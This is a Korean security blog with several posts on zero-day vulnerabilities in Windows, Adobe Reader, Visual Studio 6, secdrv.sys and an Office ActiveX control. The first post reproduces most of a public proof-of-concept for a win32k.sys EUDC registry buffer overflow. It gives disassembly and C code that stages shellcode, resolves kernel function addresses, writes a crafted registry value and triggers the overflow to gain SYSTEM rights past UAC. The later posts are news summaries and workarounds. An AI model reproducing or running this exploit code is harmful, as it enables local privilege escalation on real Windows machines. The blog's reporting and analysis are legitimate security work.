지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

  1. Introduction
  2.  
  3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
  4.  
  5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
  6. Using the code
  7.  
  8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
  9. Collapse
  10. Collapse
  11.  
  12. .text:BF81BA91                 push    esi             ; Environment
  13. .text:BF81BA92                 push    esi             ; Context
  14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
  15. .text:BF81BA98                 push    edi             ; Path
  16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
  17. .text:BF81BA9C                 push    esi             ; RelativeTo
  18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
  19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
  20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
  21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
  22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
  23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
  24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
  25. .text:BF81BACE                 mov     dword_BFA198FC, esi
  26. .text:BF81BAD4                 mov     dword_BFA19900, esi
  27. .text:BF81BADA                 mov     dword_BFA19904, esi
  28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
  29. .text:BF81BAE6                 mov     [ebp+var_8], eax
  30.  
  31. Stack trace shows the calling process is as follows:
  32.  
  33. GDI32.EnableEUDC ->
  34. NtGdiEnableEudc ->
  35. GreEnableEUDC ->
  36. sub_BF81B3B4 ->
  37. sub_BF81BA0B ->
  38. RtlQueryRegistryValues (Overflow occurs)
  39.  
  40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
  41. Collapse
  42. Collapse
  43.  
  44. // Allocate buffer for the driver
  45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
  47.  
  48. BYTE* pMem;            // shellcode
  49. DWORD ExpSize = 0;
  50.  
  51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
  52.  
  53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
  55.  
  56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
  57.  
  58. ExpSize = 0x28;
  59.  
  60.  
  61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
  62. Collapse
  63. Collapse
  64.  
  65. // Get the running kernel file name
  66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
  67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
  68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
  69. ULONG AllocSize = 0;
  70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  71.  
  72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
  73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
  75.  
  76. //Relocation to the running kernel base
  77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
  78.  
  79. free(pModInfo);
  80.  
  81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
  82. // so we need a valid pool address to avoid BSOD.
  83.  
  84. if(vi.dwBuildNumber < 7600)    
  85. {
  86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
  87.  
  88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
  89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
  90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
  91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  92.  
  93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
  94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  95.  
  96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
  97.     {
  98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
  99.         {
  100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
  101.             break;
  102.         }
  103.     }
  104.     free(pHandleInfo);
  105. }
  106. else
  107. {
  108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
  109. }
  110.  
  111. // Now fills the API addresses needed
  112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
  113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
  114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
  115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
  116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
  117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
  118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
  119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
  120. FreeLibrary(hKernel);
  121.  
  122. // Here we tell the shellcode(PE loader) where the driver buffer is.
  123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
  124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
  125.  
  126.  
  127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
  128. Collapse
  129. Collapse
  130.  
  131. UINT codepage = GetACP();
  132. TCHAR tmpstr[256];
  133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
  134. HKEY hKey;
  135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
  136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  137.  
  138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
  139.  
  140. __try
  141. {
  142.     EnableEUDC(TRUE);    
  143. }
  144. __except(1)
  145. {
  146. }
  147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  148. RegCloseKey(hKey);
  149.  
  150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
  151. Points of Interest
  152.  
  153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
  154. Additional Information
  155.  
  156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
  157. Windows Vista/2008 6.1.6000 x32,
  158. Windows Vista/2008 6.1.6001 x32,
  159. Windows 7 6.2.7600 x32,
  160. Windows 7/2008 R2 6.2.7600 x64.
  161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



감사합니다.

reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    인터넷 위협 중에서 가장 위험하다고 여겨지는 것이 바이러스가 아니라 아크로뱃 리더(Acrobat Reader)이다.  - from 문스랩닷컴


    아도브가 개발한 아크로뱃 리더는 아마도 가장 널리 사용되는 뷰어(viewer)이며, 외국에서는 거의 전자 문서의 표준 정도에 이를 정도입니다.

    최근 1-2년간에 아도브 리더/아크로뱃 제품에서 잇달아 취약점이 발견되고 있습니다. 그 중에서 가장 문제가 되는 부분이 바로 취약점을 이용하여 악성코드를 배포하는 바로 제로데이(0-day) 습성이기 때문입니다. 제로데이란 취약점이 알려진지 24시간 내에 이를 이용하는 악성코드가 출현한다는 것으로 그만큼 악성코드 제작자의 실력도 상향 평준화되었으며, 그에 반해 개발사나 보안 업체의 대응이 상대적으로 늦을 수 밖에 없다는 것을 말합니다.

    지난 9월 6일에는 아크로뱃 리더에 관련된 새로운 제로데이 취약점이 발견되어 알려졌습니다. 문제는 이 취약점을 이용하여 악성코드를 배포할 수 있는 실제 코드도 발표되었고, 취약점을 이용하여 교묘하게 조작된 PDF 문서를 첨부 파일로 넣은 스팸 메일이 실제로 발송되었다는 점입니다.

    문제가 발생한 아크로뱃 리더의 버전은 최신버전인 9.3.4까지 포함하는 것으로 알려져 있습니다. 또한 윈도우 운영체제 뿐만 아니라 매킨토스, 유닉스 운영체제까지 모든 제품에서 취약점이 발생합니다. 이 취약점은 CVE-2010-2883 이라고 명명되었으며, 이 취약점을 통해 해커는 피해자의 컴퓨터를 원격에서 조정할 수 있으며, 시스템을 손상시킬 수도 있습니다.

    아도브 사에서는 이 문제점의 심각성을 우려해서 인지 매우 빠르게 이에 대한 대응책을 발표했습니다.

    CVE-2010-2883에 대해 간략히 정리하면 다음과 같습니다.


    1. 취약점의 상세 내용

    cooltype.dll 파일의 0x0803dcf9 모듈에서 TTF 글꼴을 적절하게 파싱하지 못하는 문제점으로 인해 발생합니다. 이로 인해 DEP(Data Execution Protection, 데이터 실행 방지)까지 우회하는 것으로 알려져 있습니다.

    아크로뱃 리더에서는 AcroJS라는 자바스크립트가 사용되는데 이는 문서를 열 때 한번 실행되는 쉽게 말하면 자동실행 스크립트라고 보면 됩니다.



    2. 취약점을 이용하는 악성 코드 출현

    이 취약점을 이용하는 코드가 Metasploit Framework에서 발표되었으며, 이러한 발표로 인해 바이러스 및 스팸 제작자들이 쌍수를 들고 환영하고 있습니다.


    또한, 아래와 같이 악성 스크립트가 포함되어 있는 PDF 파일을 스팸 메일에 함께 보내어 감염을 시도하는 실제 사례도 많은 것으로 알려져 있습니다.

    <설명: 첨부에 포함된 PDF 문서>


    3. 아도브 사의 발표 내용

    아도브 사에서는 이 문제점에 대해 신속하게 권고안을 발표했습니다만, 아쉽게도 앞에서 설명했던 사항들을 나열하는 수준에 불과했습니다. 이 취약점은 심각성이 치명적(Critical)하다고 분류했으며, 현재 문제점을 해결하는 업데이트를 발표할 일정을 조율 중에 있다고 합니다.


    아크로뱃 리더는 계속 기능을 확장해 나가고 있습니다. 하지만, 그 기능에 맞게 그 만큼의 보안에 대해 충분한 검토가 없어 이와 같은 문제점이 나타나고 있습니다. 자바스크립트가 실행되는 한, 이러한 문제점은 계속 나올 것입니다.

    아마도 나중에는 샌드박스(Sandbox)와 같은 기능이 아크로뱃 리더 내에 포함될지도 모릅니다.

    감사합니다.

    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus

      취약점이 발견되고 난 뒤 곧바로 이 취약점을 이용하는 공격코드가 출현하는 경우가 늘고 있습니다. 최근의 IE 버그를 볼 때 이러한 취약점은 개발사가 패치하기 전까지는 해결방법의 거의 전무한 상태입니다.

       안티바이러스 전문 기업인 F-SECURE에서는 이러한 제로데이 공격을 차단할 수 있는 익스플로잇 쉴드(Exploit Shield)를 출시하였습니다. 현재 베타버전으로 빌드는 0.5.2088 입니다.

       익스플로잇 쉴드는 웹 기반의 익스플로잇 공격과 이 공격으로 인해 감염되는 악성 프로그램을 차단합니다. 또한, 진단한 악성 프로그램이나 악성 프로그램을 담고 있는 URL은 자동적으로 F-SECURE 보안팀으로 전송되어 새로운 익스플로잇 코드 등을 분석하는데 도움을 줄 수 있습니다.

       익스플로잇 쉴드는 윈도우 XP(SP0부터 SP3)에서만 동작합니다. 또한, 인터넷 익스플로러, 모질라 파이어폭스를 지원합니다.

       익스플로잇 쉴드의 특징을 살펴보면 다음과 같습니다.

      * 제로데이 보호: 소프트웨어 벤더로부터 패치 버전을 제공받지 않은 클라이언트 PC 보호

      * 패치에 근접한 보호: 한번 업데이트만으로 모든 익스플로잇을 예방

      * 사전 방어: 휴리스틱 분석 기술을 통해 알려지지 않은 새로운 취약점으로부터 익스플로잇을 예방

      * 악성 웹사이트와 해킹당한 일방 사이트로부터 보호

      * 악성 URL을 자동으로 F-SECURE로 전송

       프로그램은 아래 링크에서 다운로드받을 수 있으며, 설치 과정은 아주 평이합니다.

      http://support.f-secure.com/beta/downloads/F-Secure%20ExploitShield%200.5%20build%2088.exe

       프로그램을 실행하면 아래와 같이 간단한 구조를 볼 수 있습니다.

       사용자가 설정할 부분은 Exploit Shield - Vulnerability Shields 부분입니다. 대부분 취약점을 막아야 하므로 실제 사용자가 설정할 부분은 거의 없습니다.

       단, 네트워크 환경에서 프록시를 사용하는 경우에는 아래와 같이 Automatic Updates - Connection 탭에서 프록시 정보를 입력해야 합니다.

       단점은 한글판 윈도우에서는 오른쪽 부분이 약간 잘려서 보인다는 점입니다. 아래 화면에서 자동 업데이트를 Check 하는 부분이 잘려 보입니다.

       참고로, 메모리에서 차지하는 용량은 약 12MB 정도로 작습니다.

       감사합니다.

      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        최근 마이크로소프트는 비주얼 스튜디오 6에 관련된 제로데이 취약점에 대해 조사하기 시작하였습니다. 비주얼 스튜디오는 프로그래밍 언어를 개발하는 통합 도구로 6은 오래된 버전입니다.

        취약점의 원인은 "Masked Edit"라고 하는 액티브 액스 컨트롤 때문에 발생하는 것으로 알려져 있습니다. 이 취약점을 발표한 Secunia(http://www.secunia.com)에서는 이 취약점을 "아주 치명적"인 것으로 간주하였으며, 스택 기반의 버퍼 오버플로를 발생시킨다고 합니다.

        사용자가 특별하게 조작된 웹사이트를 방문하는 경우에 악성 코드에 감염될 수 있습니다.

        취약점이 발생하는 제품은 비주얼 스튜디오 6 엔터프라이즈, 프로페셔널, 스탠다드 에디션이지만, 다른 버전에서도 동일한 취약점이 있을 것으로 예상됩니다.

        비쥬얼 스튜디오 6은 지난 2000년 7월경에 마지막으로 업데이트되었으며, 현재로는 더이상 기술지원이 제공되지 않습니다.

        참고로, 최신 버전은 비주얼 스튜디오 2008입니다.

        출처: http://www.scmagazineus.com/Microsoft-looks-into-Visual-Studio-bug/article/115459/



        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          마이크로소프트에서 드디어 권고문으로 출간되었습니다. 최초 포스팅 내용과 별반 다른 부분은 없습니다.

          www.microsoft.com/technet/security/advisory/944653.mspx


          보안 벤더인 시만텍에 따르면, 윈도우 XP와 윈도우 2003에서 기본적으로 설치되는 DRM 모듈(secdrv.sys)에 취약점이 있어 이를 이용한 제로데이 익스플로이 공격이 벌어지고 있다고 합니다.

          문제가 발생하는 제품은 매크로비전 세이프디스크(Macrovision SafeDisk)로 온라인 게임 등에서 DRV 기술에 사용되는 파일(secdrv.sys)입니다. 익스플로잇을 통해 공격자는 조작한 커널 메모리에 덮어쓰기를 실행하고 시스템 권한으로 조작한 코드를 실행할 수 있습니다.

          시만텍에 따르면, 취약점을 이용하는 실제 악성 프로그램을 역어셈블링하여 살펴 본 겨과 최신 보안 패치가 적용된 윈도우 XP SP2와 윈도우 2003 SP1에서 공격이 성공하는 것으로 나타났습니다.

          아직 해결책은 제시되지 않았으며 대안으로는 시스템 접근을 강화하는

          관련 자료: 보안 참고 문헌(NVD)
          공격 코드: 다운로드
          역어셈블: 자료

          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            새로운 제로데이 취약점이 발견되었다는 무시무시한 소식입니다. 이는 인터넷 익스플로러를 통해 공격당할 수 있으므로 영향력이 매우 크다 할 수 있겠습니다. 일단 현재 외신으로 알려진 사항을 정리해서 올려 드립니다. 자세한 사항은 소식이 올라오는대로 계속 추가하여 '갱신' 포스팅하도록 하겠습니다.

            지난 주 수요일, 마이크로소프트는 오피스에 관련된 새로운 제로데이 취약점에 대한 보고서를 조사하기 시작했다고 밝혔다. 이 취약점을 통해 해커는 윈도 시스템에 특정한 악성 코드를 실행하거나 서비스 거부 공격을 할 수 있다고 한다.

            안티 바이러스 제작사인 시만텍은 권고안을 통해 오피스 2000의 UA 액티브-X 컨트롤에 버퍼 오버플로 취약점이 있다고 밝혔으며, 마이크로소프트도 이를 확인했다고 한다.

            이 문제의 원인은 'OUACTRL.OCX'라는 액티브-X 컨트롤로 밝혀졌으며, 정확히는 너무 많은 데이터가 'HelpPopup' 메소드로 전달될 때 발생하는 것으로 알려졌다. 공격자가 인터넷 익스플로러를 통해 이 액티브-X 컨트롤을 사용하여 보안 컨텍스트내에서 의도된 공격용 코드를 실행할 수 있으며, 공격이 실패하더라도 서비스 거부 상태에 다다른다고 한다.

            마이크로소프트는 좀더 자세한 연구를 마친 후에 이에 대해 어떤 조치를 취해야 할지 알리겠다고 한다.

            현재 알려진 대안으로는 해당 액티브-X 컨트롤의 사용을 일시 중지하게 하는 것으로 다음의 CLSID를 제거하는 방안이다.

            CLSID:8936033C-4A50-11D1-98A4-00A0C90F27C6


            출처: ComputerWeekly.com
            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus


              Web Analytics Blogs Directory